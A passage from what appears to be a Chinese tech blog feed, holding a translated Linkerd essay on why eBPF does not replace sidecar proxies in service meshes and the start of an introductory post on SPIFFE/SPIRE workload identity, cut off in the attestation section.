&lt;p&gt;本文中我会尽量进行评估，尤其会重点关注会对用户产生影响的部分。我会讲述 eBPF 是什么，能做什么不能做什么。我还会针对 Sidecar 和其它模型在运维和安全方面的能力进行深入对比。最后我会摆出我的结论——关于我们 Linkerd 团队，对 eBPF 参与下的服务网格的未来。&lt;/p&gt;

&lt;h2 id=&#34;我是谁&#34;&gt;我是谁&lt;/h2&gt;

&lt;p&gt;大家好我是 William Morgan，Linkerd 的创建者之一。Linkerd 是第一个服务网格产品，也是服务网格这个词的定义者。我还是 Buoyant 的 CEO，该公司的使命就是在世界范围内推动 Linkerd 的采用。你可能会阅读过我的一些文字，例如 &lt;a href=&#34;https://buoyant.io/service-mesh-manifesto/&#34; target=&#34;_blank&#34;&gt;The Service Mesh: What every software engineer needs to know about the world’s most over-hyped technology&lt;/a&gt; 或者 &lt;a href=&#34;https://buoyant.io/mtls-guide/&#34; target=&#34;_blank&#34;&gt;A Kubernetes engineer’s guide to mTLS: Mutual authentication for fun and profit&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;在 Linkerd 身上我投入了很多精力，这是我的偏爱。我同时也乐于实际参与该产品的实现过程。Linkerd 的最终目标是为用户简化服务网格技术，Linkerd 的实现细节就是为此服务的。例如 Linerd 1.x 时代使用的是主机级别的代理，而&lt;a href=&#34;https://www.infoq.com/articles/linkerd-v2-production-adoption/&#34; target=&#34;_blank&#34;&gt;出于安全和运维方面的考虑，我们换用了 Sidecar 模型&lt;/a&gt;。我注意到，eBPF 可能让我们进一步的简化 Linkerd（尤其是在运维领域）。&lt;/p&gt;

&lt;h2 id=&#34;什么是-ebpf&#34;&gt;什么是 eBPF&lt;/h2&gt;

&lt;p&gt;在扎到服务网格的细节之前，可以先从 eBPF 开始。这个铺天盖地的新技术到底是什么？&lt;/p&gt;

&lt;p&gt;eBPF 是 Linux 内核的一个功能，应用借助 eBPF 可以自助地在内核中执行一些任务。eBPF 大放异彩的重要原因就是，它发迹于网络，但是其能力并不限于网络，eBPF 解放了一大类的网络可观测能力，因为性能影响，在过去这根本不可能实现。&lt;/p&gt;

&lt;p&gt;假设要做一个能够处理网络数据包的应用。主机的网络 Buffer 是由内核管理和保护的，例如内核要保障一个进程无法读取 Buffer 中另一个进程的数据包。应用无法直接访问 Buffer，但是有一种被称之为 &lt;code&gt;syscall&lt;/code&gt; 的机制，给应用一种调用内核功能的能力：应用调用 syscall，内核检查一下应用是否对目标数据包进行操作的权限，如果有，则完成调用。&lt;/p&gt;

&lt;p&gt;Syscall 是可移植的（你的代码甚至可以在非 Linux 的机器上运行），不过比较慢。在现代网络环境之中，一个主机每秒钟都可能要处理海量的数据包，用基于 syscall 的代码来处理每个数据包是不现实的。&lt;/p&gt;

&lt;p&gt;Syscall 代码需要在内核空间和用户空间之间进行数据传递，而 eBPF 会把代码直接交给内核执行。没有 syscall，应用能够全速运行——然而下面会提到，没这么简单：）&lt;/p&gt;

&lt;p&gt;eBPF 是最近的内核功能之一，和 Linkerd 大量使用的 &lt;code&gt;io_uring&lt;/code&gt; 一样，改变了应用程序和内核的互动方式。ScyllaDB 的 Glauber Costa 就此写了一篇 &lt;a href=&#34;https://www.scylladb.com/2020/05/05/how-io_uring-and-ebpf-will-revolutionize-programming-in-linux/&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;io_uring&lt;/code&gt; 和 eBPF 如何改变 Linux 编程&lt;/a&gt;，推荐阅读。这些功能的工作方式差别很大：&lt;code&gt;io_uring&lt;/code&gt; 使用一种特殊的数据结构，让应用和内核能够安全地共享内存；eBPF 则是让应用能够提交代码到内核。两种方式的目标都是获得超越 syscall 方式的性能。&lt;/p&gt;

&lt;p&gt;eBPF 进步巨大，但也并非魔法。并不是任意代码都可以用 eBPF 的方式运行的。实际上出于种种考虑，eBPF 的能力是受到严格限制的。&lt;/p&gt;

&lt;h2 id=&#34;多租户的难处&#34;&gt;多租户的难处&lt;/h2&gt;

&lt;p&gt;eBPF 的局限源自于内核，为什么存在 syscall 这样的东西呢？为什么程序不可以直接访问网络、内存或者磁盘呢？&lt;/p&gt;

&lt;p&gt;内核所面对的是一个充满竞争的多租户世界。多租户中的租户可能是人、账号或者其他什么 Actor，多个租户分享同一个主机，各自运行各自的程序。不同租户不应该访问它人的数据，或者说互不干涉。内核既要保障程序的运行，又要维持秩序，换句话说，内核要对租户进行隔离。&lt;/p&gt;

&lt;p&gt;这意味着内核不会完全信任任何程序。某个租户的程序，在任何时间点都可能尝试去破坏其它租户的程序或者数据。内核要确保未授权程序，不能停止或者打断其他程序、或者拒绝其资源使用、又或直接访问其它程序的网络、磁盘或者内存等。&lt;/p&gt;

&lt;p&gt;这是一个致命需求。几乎所有软件相关的安全保证，最终都依赖于内核的这种能力。不经授权读取其他程序的内存或者网络流量，意味着被渗透或者更糟糕的情况；无授权的情况下写入其它程序的内存或者网络流量则意味着仿冒或者更大的麻烦。允许程序破坏规则的内核漏洞是一个非常严重的问题。要打破这种规则的最好方法就是获取对内核状态的访问——如果能够读写内核的内存，就能绕过这种规则。&lt;/p&gt;

&lt;p&gt;隔离失败的后果难以承受，这就是应用和内核之间的交互被严格控制的原因。内核开发者们倾注了巨量精力。&lt;/p&gt;

&lt;p&gt;这也是容器的力量之源——它们继承了同样的隔离保障，并将其应用到任意的应用程序和依赖包，得益于现代内核技术，我们能够用相互隔离的方式来运行程序，用完整的内核能力来处理多租户竞争场景。用虚拟机也能达成这种隔离，但是更慢、更昂贵。容器技术给了我们（几乎）一致的保证，并且成本大幅降低。&lt;/p&gt;

&lt;p&gt;云原生中各个方面几乎都依赖于这种隔离能力。&lt;/p&gt;

&lt;h2 id=&#34;ebpf-的局限&#34;&gt;eBPF 的局限&lt;/h2&gt;

&lt;p&gt;回到 eBPF。就像前面讨论的，eBPF 让我们能够提交代码到内核并运行。从内核安全的角度来说，这是个非常恐怖的事情——这会穿越应用和内核之间的界限，直接面对安全威胁。&lt;/p&gt;

&lt;p&gt;要提高安全性内核对这种代码提出了相当苛刻的限制。所有 eBPF 代码运行之前，都必须通过 &lt;code&gt;verifier&lt;/code&gt; 这一关，它会对代码进行检查，识别其中的不当行为。内核只会运行通过检查的代码。&lt;/p&gt;

&lt;p&gt;自动校验程序是个高难度的事情，所以 Verifier 会有宁杀错莫放过的倾向。因此 eBPF 代码受限颇多，例如不能阻塞、不能无限循环、不能超过预定义的尺寸；其复杂度也是受限的——Verifier 会对所有可能的执行路径进行评估，如果不能在某些限制下完成评估、或者不能证明每个循环都有退出条件，程序就无法通过校验。&lt;/p&gt;

&lt;p&gt;有很多完美的安全程序无法满足这种限制。如果想要用 eBPF 的方式运行这些程序，就需要用 Verifier 的方式重写程序（或者提交 Patch 给 Verifier&amp;hellip;）。如果你是 eBPF 粉丝，还是有好消息的，每次内核发布，Verifier 都会变得更具智能，这些限制也随之逐步放松。另外也有些创新的方法来应对这些限制。&lt;/p&gt;

&lt;p&gt;即使如此，eBPF 的受限情况，也导致 eBPF 程序的应用场景非常有限。在 eBPF 程序中，就算是跨数据包缓冲数据也并非易事。更严重的情况，例如处理 HTTP/2 流量所需的全部代码就远远超出了纯 eBPF 的范围，终止 TLS 也是绝不可能。&lt;/p&gt;

&lt;p&gt;最好的情况下，eBPF 能够分担其中一小部分工作，过于复杂的逻辑还是需要用户空间的程序来处理的。&lt;/p&gt;

&lt;h2 id=&#34;ebpf-vs-服务网格&#34;&gt;eBPF vs 服务网格&lt;/h2&gt;

&lt;p&gt;eBPF 说完了，再来说说服务网格。&lt;/p&gt;

&lt;p&gt;服务网格负责处理现代化的云原生网络的复杂性。例如 Linkerd 的几个重要功能：&lt;a href=&#34;https://buoyant.io/mtls-guide/&#34; target=&#34;_blank&#34;&gt;初始化并终结 TLS&lt;/a&gt;；跨越连接重试请求；透明地将连接从 HTTP/1.x 升级成 HTTP/2 从而提高性能；根据工作负载的身份进行访问控制；跨越 Kubernetes 集群发送流量，以及很多其他功能。&lt;/p&gt;

&lt;p&gt;Linkerd 和多数服务网格一样，会在每个应用 Pod 间插入代理，这些代理会处理进出 Pod 的流量，从而完成网格能力。这些代理在自己的容器里运行，代理容器和应用容器伴行——这种模型被称为 Sidecar。Linkerd 的代理是&lt;a href=&#34;https://linkerd.io/2020/07/23/under-the-hood-of-linkerds-state-of-the-art-rust-proxy-linkerd2-proxy/?_gl=1*fjht61*_ga*MTQ4MzE1OTk3LjE2NjQ5OTE1NDg.*_ga_TV358ZPK6D*MTY2NTA2MjQyNy4zLjAuMTY2NTA2MjQyNy4wLjAuMA..#_ga=2.74669970.1857639420.1664991548-148315997.1664991548&#34; target=&#34;_blank&#34;&gt;基于 Rust 实现的，轻量、快速&lt;/a&gt;，但是 Sidecar 并非全部。&lt;/p&gt;

&lt;p&gt;十年前，要在集群里部署成百上千个代理服务器，并和每个应用的每个实例配对，绝对是个运维噩梦。但是感谢 Kubernetes，让这种想法得以实现。Linkerd 还让这些代理成为可管理的：Linkerd 的微代理不需要调谐，并且也实现了资源消耗的最小化。&lt;/p&gt;

&lt;p&gt;在这个上下文中，eBPF 和服务网格融洽地相处了几年。Kubernetes 的贡献在于提供了一个可编排的、层次清晰的平台；eBPF 和服务网格非常适用于这种模型：CNI 负责 3、4 层流量，服务网格负责 7 层。&lt;/p&gt;

&lt;p&gt;服务网格对平台所有者来说非常有帮助。它提供了 mTLS、请求重试、金指标等，这样开发者就无需自行实现这些能力了。但这也要付出大量部署运行代理的成本。&lt;/p&gt;

&lt;p&gt;所以回到老问题：我们能做的更好吗？我们能够使用 &lt;code&gt;eBPF 服务网格&lt;/code&gt;来代替代理服务器么？&lt;/p&gt;

&lt;h2 id=&#34;ebpf-服务网格还是需要代理服务器&#34;&gt;eBPF 服务网格还是需要代理服务器&lt;/h2&gt;

&lt;p&gt;根据前面对 eBPF 的铺垫，我们可以进行一些更深入的探讨。&lt;/p&gt;

&lt;p&gt;不幸的是，触底非常快速：eBPF 的限制意味着，服务网格的完整能力（例如根据 Header 进行 HTTP/2 流量管理，初始化或者终结 mTLS 等）远远超出了纯 eBPF 方法的实现能力。&lt;/p&gt;

&lt;p&gt;就算是在限制之内，用 eBPF 来实现也不见得就好。eBPF 编写困难、调试更难；这些网格功能的实现已经很难了，在一个有限的编程模型中实现就是难上加难。&lt;/p&gt;

&lt;p&gt;所以不管在技术限制和软件工程实践来说，纯 eBPF 服务网格不可能实现。&lt;/p&gt;

&lt;p&gt;但是 eBPF 结合用户空间代码的方式就能更好的应对复杂问题—— eBPF 负责一些专门问题，用户控件的代理服务器负责其他任务。&lt;/p&gt;

&lt;h2 id=&#34;节点级代理对比-sidecar&#34;&gt;节点级代理对比 Sidecar&lt;/h2&gt;

&lt;p&gt;所以 eBPF 服务网格还是需要代理。但是是不是一定要 Sidecar 模型呢？如果我们用节点级代理——是不是能够有一个无 Sidecar、有 eBPF 的服务网格呢？&lt;/p&gt;

&lt;p&gt;是的——不过这不是个好主意。我们在 Linkerd 1.x 中已经吃过这个苦头（对不起了，我们的早期用户）。相对于 Sidecar 来说，节点级代理对运维、管理和安全都是很不友好的。&lt;/p&gt;

&lt;p&gt;Sidecar 模型中，所有进入应用实例的流量都会通过 Sidecar 代理。这种情况下，Sidecar 成为了应用的一部分：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;代理的资源消耗是随应用负载变化的。进入实例的流量增长时，Sidecar 跟应用一样消耗更多的资源。如果应用流量很小，Sidecar 也不需要消耗太多资源（Linkerd 的代理的资源消耗最小仅有 2-3MB）。Kubernetes 的资源管理手段在这种场景下都有作用。&lt;/li&gt;
&lt;li&gt;代理的爆炸半径被限制在 Pod 范围内。代理故障和应用故障一样，也可以被 Kubernetes 的 Pod 管理手段进行处理。&lt;/li&gt;
&lt;li&gt;代理服务器的维护，例如版本升级同样可以用 Kubernetes 的滚动升级等机制来完成。&lt;/li&gt;
&lt;li&gt;安全边界清晰，同样限制在 Pod 范围。Sidecar 跟应用实例共享同样的安全上下文。他们是同一 Pod 的组成部分，IP 共享。它对进出 Pod 的流量进行策略控制和 mTLS 发起和终结，并且只需要用到 Pod 的密钥物料。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在节点模型里，这些优势就不存在了。被 Kubernetes 调度到同一主机上的所有应用实例，流量都由这个节点级代理来处理。代理和应用完全解耦，产生了一些或大或小的问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;代理服务器的资源消耗弹性巨大：资源水平取决于 Kubernetes 调度到本节点上的 Pod 数量。对特定代理来说，资源的消耗难于预测，也难于分析；这样一旦出了问题，服务网格团队将会因此受到指责。&lt;/li&gt;
&lt;li&gt;应用易于受到“嘈杂邻居”的流量影响。节点上所有的流量都从同一个代理服务器经过，一个高流量 Pod 会耗尽代理服务器的所有资源，代理服务器必须确保资源的合理分配，否则应用将面临风险。&lt;/li&gt;
&lt;li&gt;代理的爆炸半径变大，并且易变。代理服务器的故障和升级会影响到不同应用的不同实例，这意味着维护任务可能面临着难于预料的后果。&lt;/li&gt;
&lt;li&gt;安全问题更加复杂。用 TLS 为例，节点级代理必须包含节点上所有应用的密钥物料，这就成了一种新的攻击目标，代理的 CVE 和漏洞都会造成大量的密钥泄漏。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;简而言之，Sidecar 模式保留了容器化所承诺的隔离能力——内核能在容器一级完成安全和多租户隔离的工作。节点级模型破坏了这个边界，重新把多租户问题摆上了台面。&lt;/p&gt;

&lt;p&gt;当然，节点级代理是有些优势的。例如 Sidecar 模型里，一次访问要穿过两个代理服务器，而节点级模型则只需要一次，很明显会降低延迟。可以用少量、高配置的代理服务器来应对高负载场景（Linkerd 1.x 就是一个好例子——大规模场景下表现突出，小规模下则不尽如人意）。你的网络架构图上可以少画不少盒子，显得简单很多。&lt;/p&gt;

&lt;p&gt;但是这种优势比起安全和运维要面临的问题来说，就有些得不偿失了。为了弥补代理造成的性能损失，必须要把 Sidecar 做的又小又快。&lt;/p&gt;

&lt;h2 id=&#34;只改进代理就可以了吗&#34;&gt;只改进代理就可以了吗&lt;/h2&gt;

&lt;p&gt;节点级代理遇到的一些问题是伴随着多租户场景发生的。Sidecar 模式下，我们借用内核和容器的呢能力来应对这些问题。节点级代理模式下，没有这种能力可以依赖，那么——我们能不能对代理服务器进行改进，使之能够处理多租户竞争的场景呢。&lt;/p&gt;

&lt;p&gt;答案是否定的。其实也不是不可以——理论上是可行的，实际上要投入大量的工作，并且也不是一个通用的能力。推上有个话题 &lt;a href=&#34;https://twitter.com/mattklein123/status/1522925333053272065&#34; target=&#34;_blank&#34;&gt;Some of what would have to be done&lt;/a&gt;，进行了大量的这方面的讨论。需要完成大量的棘手任务，并且要不断地受到 Sidecar 模型的诱惑，持续地进行评估。&lt;/p&gt;

&lt;p&gt;就算是完成了——还是要面对爆炸半径和安全性方面的问题。&lt;/p&gt;

&lt;h2 id=&#34;服务网格的未来&#34;&gt;服务网格的未来&lt;/h2&gt;

&lt;p&gt;综上所述——不论有没有 eBPF，在可预见的未来里，服务网格会是构建在用户空间中运行的 Sidecar 代理之上的。&lt;/p&gt;

&lt;p&gt;Sidecar 当然不是完美的，但是目前条件下，要同时应对云原生网络的复杂性，以及容器的隔离性，最好的选择就是 Sidecar。eBPF 能卸载网格的一部分工作，它最合适的合作方是 Sidecar 而非节点级代理——让 Sidecar 变快的同时还能保持容器化的可管理性和安全性。eBPF 的目的不会是“用干掉 Sidecar 的方式来降低服务网格的复杂性并提高服务网格的性能”。&lt;/p&gt;

&lt;p&gt;eBPF 的能力最终会进化到去掉代理直接处理服务网格的 7 层流量吗？有可能，但是基于上述原因，即使如此，也不可能放弃用户空间的代理服务器。内核会用一些机制来吸收服务网格的能力？可能——但是似乎没人想要一个网格内核，也看不到这种方向的前景。&lt;/p&gt;

&lt;p&gt;所以在可预见的未来，Linkerd 会持续把精力投放到 Sidecar Proxy 的可维护、轻量化以及高性能方面，其中一个努力的方向就是在可能的情况下，向 eBPF 卸载部分工作。我们的本分就是为用户的 Linkerd 操作体验负责，从这个起点出发，来对每个设计和工程思维进行权衡。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>SPIFFE/SPIRE 从入门到入门</title>
      <link>/post/something-about-spire/</link>
      <pubDate>Tue, 27 Sep 2022 21:10:08 +0800</pubDate>
      <guid>/post/something-about-spire/</guid>
      <description>

&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;

&lt;p&gt;大概很多人和我一样，是从 &lt;a href=&#34;https://istio.io&#34; target=&#34;_blank&#34;&gt;Istio&lt;/a&gt; 那里听说 &lt;a href=&#34;https://spiffe.io/&#34; target=&#34;_blank&#34;&gt;SPIFFE（读音 Spiffy [ˈspɪfi]）&lt;/a&gt; 的，Istio 中用 SPIFFE 方式为微服务提供身份。SPIFFE 全称为 Secure Production Identity Framework For Every one，顾名思义，这是一个解决身份问题的框架；而 SPIRE 则是 SPIFFE 的一个实现，全称为 SPIFFE Runtime Environment。&lt;/p&gt;

&lt;p&gt;一个“我是谁”的问题，真的需要大动干戈？甚至能养活两个项目：SPIFFE 和 Spire 这对双子星项目，2018 年以 Sandbox 项目身份加入 CNCF，2020 年进入孵化状态，2022 年毕业——是的不但养活了，甚至还毕业了。&lt;/p&gt;

&lt;p&gt;官方出了一本小册子，叫做《Solving The Bottom Turtle —— a SPIFFE Way to Establish Trust in Your Infrastructure via Universal Identity》，内容如副标题所说——用 SPIFFE 的方式在基础设施中，利用统一身份构建信任关系。&lt;/p&gt;

&lt;p&gt;这里提到的最下面的乌龟，大意是说，身份问题是一个值得深入挖掘的基石技术，相关的传说可以查看一下机壳的文章：&lt;a href=&#34;https://www.gcores.com/articles/122351&#34; target=&#34;_blank&#34;&gt;《世界巨龟神话原型：如果世界是一只乌龟
》&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;业务和组织之间的关系，往往就代表着人与应用之间、应用与应用之间的交互。大量的微服务架构应用，用水平伸缩、快速迭代的方式在复杂多变的容器、公有云等基础设施上运行，而安全以及合规的要求则日益提高。这种情况下，访问控制的必要性就逐步凸显出来。访问控制的实现，就是乌龟叠叠乐的效果：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;访问控制要解决的问题就是谁能访问什么的问题&lt;/li&gt;
&lt;li&gt;这里的“谁”就是认证的问题，对于这个身份，需要进行证明和保护&lt;/li&gt;
&lt;li&gt;通常的保护方式是把凭据作为敏感数据进行加密&lt;/li&gt;
&lt;li&gt;那么解密所需的密钥也是敏感数据&lt;/li&gt;
&lt;li&gt;敏感数据需要安全地进行保存&lt;/li&gt;
&lt;li&gt;但是，要访问被保护的敏感数据，还是需要有访问控制&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;要打破死循环，需要一种短生命周期的（易于轮转且不易攻破）、自动化的解决方案。方案中需要有一个可信的根，在这个基础之上来构建软件的身份，而这个身份则成为认证和授权能力的基石。为了防止无穷无尽的下钻过程，工作负载应该能够不借助任何凭据来获得这个身份凭据。&lt;/p&gt;

&lt;p&gt;很多厂商在这个方向上做了各种尝试，例如 Google 的 &lt;a href=&#34;https://cloud.google.com/docs/security/encryption-in-transit/application-layer-transport-security&#34; target=&#34;_blank&#34;&gt;Application Layer Transplort Security（ALTS）&lt;/a&gt;、Netflix 的 &lt;a href=&#34;https://www.usenix.org/sites/default/files/conference/protected-files/enigma_haken_slides.pdf&#34; target=&#34;_blank&#34;&gt;Marathon&lt;/a&gt; 等。&lt;/p&gt;

&lt;p&gt;Kubernetes 创始工程师 Joe Beda 在 2016 GlueCon 上发表了题为 &lt;a href=&#34;http://slides.eightypercent.net/spiffe-intro/index.html#p1&#34; target=&#34;_blank&#34;&gt;Who&amp;rsquo;s Calling?
Production Identity in a Microservices World&lt;/a&gt; 的演讲，其中展示了方案的三个要点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;无需凭据，通过内核调用来生成 0 号机密&lt;/li&gt;
&lt;li&gt;使用大多数软件都支持的 x.509&lt;/li&gt;
&lt;li&gt;解耦网络位置和认证&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;专家们在 Netflix 进行了 SPIFFE 草案的研讨。很多成员都已经实现并持续改进工作负载认证的方案，他们发现各自的解决方案都有或多或少的相似性，因此具备形成通用方案的可能性。&lt;/p&gt;

&lt;p&gt;解决工作负载身份问题的最初目标是建立一个开放的规范和相应的生产实现。该框架需要在不同的实现和现成的软件之间提供互操作性，其核心是在一个不信任的环境中建立信任的根基，驱除隐性信任。最后，摆脱以网络为中心的身份，以实现灵活性和更好的扩展特性。&lt;/p&gt;

&lt;h2 id=&#34;spiff-的基本概念&#34;&gt;SPIFF 的基本概念&lt;/h2&gt;

&lt;p&gt;SPIFFE 由五个部分组成，分别是 SPIFFE ID、Workload API、SVID、SPIFFE Trust Bundle 以及 SPIFFE Federation。&lt;/p&gt;

&lt;h3 id=&#34;spiffe-id&#34;&gt;SPIFFE ID&lt;/h3&gt;

&lt;p&gt;软件名称或身份的表达方式，一般使用信任域、服务标识组成的一个 URL，例如 Istio 中的 &lt;code&gt;spiffe://&amp;lt;trust-domain&amp;gt;/ns/&amp;lt;namespace&amp;gt;/sa/&amp;lt;service-account&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&#34;svid&#34;&gt;SVID&lt;/h3&gt;

&lt;p&gt;全称是 Software Verifiable Identify Document，一种加密的可验证的档案，用于证明工作负载的身份。用 CA 签署 SPIFFE 就产生了 SVID，SVID 有两种载体：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;X509：用 SAN 字段来保存 SPIFFE ID。是推荐的保存方式。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;JWT：这种方式下，在应用层用 bearer token 的方式来证明身份。考虑到适用范围和安全性问题，不建议使用 JWT 承载 SVID&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;workload-api&#34;&gt;Workload API&lt;/h3&gt;

&lt;p&gt;一种简单的本地 API，服务可以&lt;strong&gt;无需认证&lt;/strong&gt;直接调用 API 来获得自己的身份、Trust Bundle 以及相关信息。&lt;/p&gt;

&lt;h3 id=&#34;trust-bundle&#34;&gt;Trust Bundle&lt;/h3&gt;

&lt;p&gt;SPIFFE 的公钥组合&lt;/p&gt;

&lt;h3 id=&#34;spiffe-联邦&#34;&gt;SPIFFE 联邦&lt;/h3&gt;

&lt;p&gt;一种简单的用于共享 SPIFFE Trust Bundle 的机制&lt;/p&gt;

&lt;h2 id=&#34;spiffe-spire-和其它安全技术的关系&#34;&gt;SPIFFE/SPIRE 和其它安全技术的关系&lt;/h2&gt;

&lt;p&gt;SPIFFE/SPIRE 的能力并不新鲜，毕竟每个分布式系统都有认证的需求，Web PKI、Kerberos/Active Directory、OAuth、敏感信息存储以及服务网格等都和这一领域有着交集。&lt;/p&gt;

&lt;p&gt;但现存的这些形式对于组织内部的服务认证并不合适。Web PKI 实现要求比较多，并且在典型的内部部署环境下也不够安全；Kerberos 需要一个一直在线的 Ticket 管理服务，并且缺乏证明能力；服务网格、机密管理器和叠加网络解决的都是服务身份问题中的一部分。SPIFFE 和 SPIRE 是目前唯一完整的服务身份方案。&lt;/p&gt;

&lt;h3 id=&#34;web-public-key-infrastructure&#34;&gt;Web Public Key Infrastructure&lt;/h3&gt;

&lt;p&gt;Web PKI 广泛应用在从浏览器连接到安全网站的场景里。这种技术用 X.509 证书来向用户证明网站的身份。读者自然会想问——直接用这种技术进行服务认证不就行了吗？&lt;/p&gt;

&lt;p&gt;传统的 Web PKI 场景下，证书的签发和更新是手工的，难以适应现代的动态伸缩环境。虽然近年来发展出了自动化的签发和刷新流程（Domain Validation/DV），然而 DV 非常依赖于 IP 和域名规划，而且客户端证书也无法使用 DV 的自动化流程。另外，DV 流程里用于响应 Token 请求的服务是独立的，有可能通过 2 层网络进行仿冒。&lt;/p&gt;

&lt;h3 id=&#34;ad-和-kerberos&#34;&gt;AD 和 Kerberos&lt;/h3&gt;

&lt;p&gt;Kerberos 中的核心凭据被称为 &lt;code&gt;ticket&lt;/code&gt;，Ticket 是一个客户端访问一个资源的凭据，客户端通过调用 Ticket Granting Service（TGS）来获取 Ticket。每个客户端在访问资源需要新的 Ticket 的时候都需要访问 TGS，因此需要 TGS 一直在线。所有服务都要信任 TGS。服务注册到 TGS 的时候，需要把密钥物料（例如公钥或者对称密钥）托管到 TGS，TGS 用来为服务创建 Ticket。要对物料进行轮转，需要在服务和 TGS 之间进行协调。服务自己必须接受前任物料签发的过期 Ticket。&lt;/p&gt;

&lt;p&gt;而在 SPIRE 里，客户端和资源都要访问 SPIRE 服务器一次，获取 SVID，然后在信任域范围内就可以凭借这些 SVID 进行互信了，无需再次调用 SPIRE Server。SPIRE 的设计避免了大量对 SPIRE Server 进行访问的成本。SPIRE 这样的依赖 PKI 的认证机制，密钥物料已经解耦，所以轮转过程也大为简化。&lt;/p&gt;

&lt;p&gt;另外 Kerberos 协议的签署过程和主机名紧密相关，多服务共享主机或集群时，这个情况就会非常复杂；SPIRE 则可以轻松地为工作负载和集群支持多个 SVID。同一个 SVID 也能够授予给多个工作负载。&lt;/p&gt;

&lt;h3 id=&#34;oauth-和-openid&#34;&gt;OAuth 和 OpenID&lt;/h3&gt;

&lt;p&gt;OAuth 是一种用于委托的访问方式，而不一定需要自己完成认证过程。OIDC 的第一目标就是让自然人使用一个第三方网站作为自己的身份，来访问目标网站。这个第三方网站必须实现自己的认证方法，从而以本地的认证关系为用户向其他网站提供证明。&lt;/p&gt;

&lt;p&gt;OAuth 是为人机交互设计的，登录过程中需要进行浏览器的交互；2.0 中加入了对非人实体的支持，通常是用 &lt;code&gt;Service Account&lt;/code&gt; 的形式实现。工作负载要拿到 OAuth 凭据来访问远程系统，必须向 OAuth 提供密码或者 Token 等来进行认证。工作负载需要自行维护各自的凭据，从而获得粗粒度的授权能力，这一过程要求每个工作负载都注册到 OAuth 供应侧，因此起管理难度和负载会迅速增加。&lt;/p&gt;

&lt;p&gt;OIDC 并没有解决身份的基本问题，实际上是依赖于预制的身份的。相对来说，SPIRE 不需要长寿的初始凭据，以 SPIRE 作为 OIDC 的身份供应者能够有效地提高安全性——应用无需自行准备身份凭据，只需要用 SPIFFE ID 按需认证即可。&lt;/p&gt;

&lt;h3 id=&#34;敏感信息管理&#34;&gt;敏感信息管理&lt;/h3&gt;

&lt;p&gt;这类工具通常要负责对敏感信息进行控制、审计和保管，起操作方包括了管理员和一些应用。有些工具还会提供加解密等功能。其加密存储功能通常被称为 &lt;code&gt;vault&lt;/code&gt;。应用必须进行认证之后才能访问 Vault 中的数据。这种系统面临的最大挑战通常就是自身的访问控制，通常称为零号凭据。使用 SPIFFE 作为认证机制能更好的解决这一问题。&lt;/p&gt;

&lt;h3 id=&#34;服务网格&#34;&gt;服务网格&lt;/h3&gt;

&lt;p&gt;所有的主流服务网格产品都提供了服务认证功能。SPIFFE 的身份提供能力正适用于这种场景，Istio 和 Consule 都可以使用 SPIFFE 提供身份解决方案。&lt;/p&gt;

&lt;p&gt;Istio 使用 SPIFFE 用于识别节点，但是他的身份模型耦合在 Kubernetes 上，IBM 认为 &lt;a href=&#34;https://developer.ibm.com/articles/istio-identity-spiffe-spire/%23why-the-current-istio-mechanism-is-not-enough/&#34; target=&#34;_blank&#34;&gt;Istio 的机制是不足的&lt;/a&gt;，因此提供了 SPIRE 和 Istio 的&lt;a href=&#34;https://github.com/IBM/istio-spire&#34; target=&#34;_blank&#34;&gt;集成方案&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;叠加网络&#34;&gt;叠加网络&lt;/h3&gt;

&lt;p&gt;叠加网络跨越多个平台模拟了一个统一网络。与服务网格不同的是，叠加网络使用 IP 地址和路由表这样的标准网络概念，来连接服务。最新的覆盖网络开始提供认证能力。在服务连接之前仍然无法验明正身。通常情况下，这种机制都依赖于一个预存证书。因此 SPIFFE 也很适合为叠加网络节点提供证书。&lt;/p&gt;

&lt;h2 id=&#34;spire-简介&#34;&gt;SPIRE 简介&lt;/h2&gt;

&lt;p&gt;综合前面对 SPIFFE 的讲述，可以知道，这东西的核心能力：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;工作负载（业务应用）可以通过一种本地的、无需认证的方式获取到一个 SPIFFE ID&lt;/li&gt;
&lt;li&gt;SPIFFE ID 可以签署成为 SVID，SVID 用 X.509 或者 JWT 的形式进行表达&lt;/li&gt;
&lt;li&gt;不同的工作负载之间，共享 Trust Bundle&lt;/li&gt;
&lt;li&gt;利用 Trust Bundle 可以鉴别 SVID 的真伪，从而识别出 SPIFFE ID&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;利用可信的 SVID 所代表的 SPIFFE ID，就可以进行后续的访问控制了。&lt;/p&gt;

&lt;p&gt;SPIRE 是如何解决上述问题的？看看官方网站的架构图：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://spiffe.io/img/server_and_agent.png&#34; alt=&#34;server and agent&#34; /&gt;&lt;/p&gt;

&lt;p&gt;SPIRE 由服务器和 Agent 两部分组成：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;服务器负责签发 SVID 并通过 Agent 传递给工作负载；另外他还要维护一个工作负载身份的注册表&lt;/li&gt;
&lt;li&gt;Agent 部署在每个节点上，向工作负载公开 Workload API。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这说起来还是非常抽象，为了实现 SPIFFE 规范，SPIRE 引入了一系列自己的概念。&lt;/p&gt;

&lt;h3 id=&#34;attestation&#34;&gt;Attestation&lt;/h3&gt;

&lt;p&gt;SPIRE 中的 Attestation（证实）过程，就是求证工作负载身份的过程。SPIRE 的证实工作氛围两个步骤：&lt;/p&gt;

